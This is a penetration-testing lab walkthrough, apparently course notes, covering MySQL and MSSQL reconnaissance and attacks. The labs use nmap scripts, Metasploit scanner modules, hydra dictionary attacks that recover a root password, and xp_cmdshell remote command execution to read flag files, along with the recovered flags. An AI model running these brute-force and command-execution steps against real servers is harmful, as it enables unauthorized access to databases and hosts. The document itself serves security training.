MYSQL - an open-source relational database management system, used to add, access and process data stored in a server database using the SQL (Structured Query Language) syntax. It's also included in the LAMP technology stack (Linux, Apache, MySQL, PHP) to store and retrieve data in well-known applications, websites and services.
Default MYSQL port is 3306.
sudo nmap -p3306 -sV -O <TARGET_IP>
Lab 1
🔬
Target IP: 192.49.51.3
MySQL server reconnaisance.
ip -br -c a
eth1@if176632 UP 192.49.51.2/24
nmap 192.49.51.3
nmap -sV -p3306 192.49.51.3
3306/tcp open mysql MySQL 5.5.62-0ubuntu0.14.04.1
📌 MySQL server version is 5.5.62
mysql - SQL shell with input line editing capabilities.
mysql -h 192.49.51.3 -u root
MySQL [(none)]> help
# Get a list of MySQL commands
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| books |
| data |
| mysql |
| password |
| performance_schema |
| secret |
| store |
| upload |
| vendors |
| videos |
+--------------------+
11 rows in set (0.001 sec)
📌 There are 11 databases on the server.
MySQL [(none)]> use books;
MySQL [books]> select count(*) from authors;
+----------+
| count(*) |
+----------+
| 10 |
+----------+
1 row in set (0.000 sec)
📌 There are 10 records in table authors inside the books database.
Metasploit Enum
msfconsole
use auxiliary/scanner/mysql/mysql_schemadump
set RHOSTS 192.49.51.3
set USERNAME root
set PASSWORD ""
exploit
use auxiliary/scanner/mysql/mysql_writable_dirs
set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
set RHOSTS 192.49.51.3
set VERBOSE false
set PASSWORD ""
exploit
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS 192.49.51.3
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
set PASSWORD ""
exploit
3306/tcp open mysql
| mysql-audit:
| CIS MySQL Benchmarks v1.0.2
| 3.1: Skip symbolic links => FAIL
| 3.2: Logs not on system partition => PASS
| 3.2: Logs not on database partition => PASS
| 4.1: Supported version of MySQL => REVIEW
| Version: 5.5.62-0ubuntu0.14.04.1
| 4.4: Remove test database => PASS
| 4.5: Change admin account name => PASS
| 4.7: Verify Secure Password Hashes => PASS
| 4.9: Wildcards in user hostname => PASS
| The following users were found with wildcards in hostname
| filetest
| root
| 4.10: No blank passwords => PASS
| The following users were found having blank/empty passwords
| root
| 4.11: Anonymous account => PASS
| 5.1: Access to mysql database => REVIEW
| Verify the following users that have access to the MySQL database
| user host
| 5.2: Do not grant FILE privileges to non Admin users => PASS
| The following users were found having the FILE privilege
| filetest
| 5.3: Do not grant PROCESS privileges to non Admin users => PASS
| 5.4: Do not grant SUPER privileges to non Admin users => PASS
| 5.5: Do not grant SHUTDOWN privileges to non Admin users => PASS
| 5.6: Do not grant CREATE USER privileges to non Admin users => PASS
| 5.7: Do not grant RELOAD privileges to non Admin users => PASS
| 5.8: Do not grant GRANT privileges to non Admin users => PASS
| 6.2: Disable Load data local => FAIL
| 6.3: Disable old password hashing => FAIL
| 6.4: Safe show database => FAIL
| 6.5: Secure auth => FAIL
| 6.6: Grant tables => FAIL
| 6.7: Skip merge => FAIL
| 6.8: Skip networking => FAIL
| 6.9: Safe user create => FAIL
| 6.10: Skip symbolic links => FAIL
|
| Additional information
| The audit was performed using the db-account: root
|_ The following admin accounts were excluded from the audit: root,debian-sys-maint
📌 No File privileges can be granted to non admin users.
nmap --script=mysql-query --script-args="query='select count(*) from books.authors;',username='root',password=''" -p3306 192.49.51.3
3306/tcp open mysql
| mysql-query:
| count(*)
| 10
|
| Query: select count(*) from books.authors;
|_ User: root
Lab 2
Target IP: 10.4.16.17
MySQL server dictionary attack.
ip -br -c a
eth1@if176858 UP 192.222.16.2/24
nmap 192.222.16.3
nmap -sV -p3306 192.222.16.3
3306/tcp open mysql MySQL 5.5.62-0ubuntu0.14.04.1
Metasploit
msfconsole
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.222.16.3
set USERNAME root
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set STOP_ON_SUCCESS true
exploit
Use hydra tool with the same metasploit unix_passwords list to bruteforce root login.
hydra -l root -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.222.16.3 mysql
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1009 login tries (l:1/p:1009), ~253 tries per task
[DATA] attacking mysql://192.222.16.3:3306/
[3306][mysql] host: 192.222.16.3 login: root password: catalina
1 of 1 target successfully completed, 1 valid password found
Reveal Flag - MySQL server "root" password is: 🚩
catalina
Lab 3 - nmap
Target IP: 10.4.21.27
Windows MSSQL server enumeration with nmap
nmap 10.4.21.27
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
3389/tcp open ms-wbt-server
nmap -sV -sC -p1433 10.4.21.27
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: MSSQL-SERVER
| NetBIOS_Domain_Name: MSSQL-SERVER
| NetBIOS_Computer_Name: MSSQL-SERVER
| DNS_Domain_Name: MSSQL-Server
| DNS_Computer_Name: MSSQL-Server
|_ Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-02-19T17:36:09
|_Not valid after: 2053-02-19T17:36:09
|_ssl-date: 2023-02-19T17:41:06+00:00; -1s from scanner time.
Host script results:
| ms-sql-info:
| 10.4.21.27:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
Sending a MS-TDS NTLM authentication request with an invalid domain and null credentials will cause the remote service to respond with a NTLMSSP message disclosing information to include NetBIOS, DNS, and OS build version.
For above default scripts, nmap --script command option can also be used:
nmap --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" -p1433 10.4.21.27
# MSSQL service is configured with xp_cmdshell enabled (no by default)
Reveal Flag: 🚩
1d1803570245aa620446518b2154f324
Lab 4 - metasploit
Target IP: 10.4.23.176
Windows MSSQL server enumeration with metasploit
nmap 10.4.23.176
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
nmap --script ms-sql-info -p1433 10.4.23.176
Host script results:
| ms-sql-info:
| 10.4.23.176:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
📌 Server is Microsoft SQL Server 2019
User Metasploit to enumerate MSSQL configuration, logins, users and execute a command on the target machine.
msfconsole -q
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.4.23.176
set USER_FILE /root/Desktop/wordlist/common_users.txt
set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt
set VERBOSE false
exploit
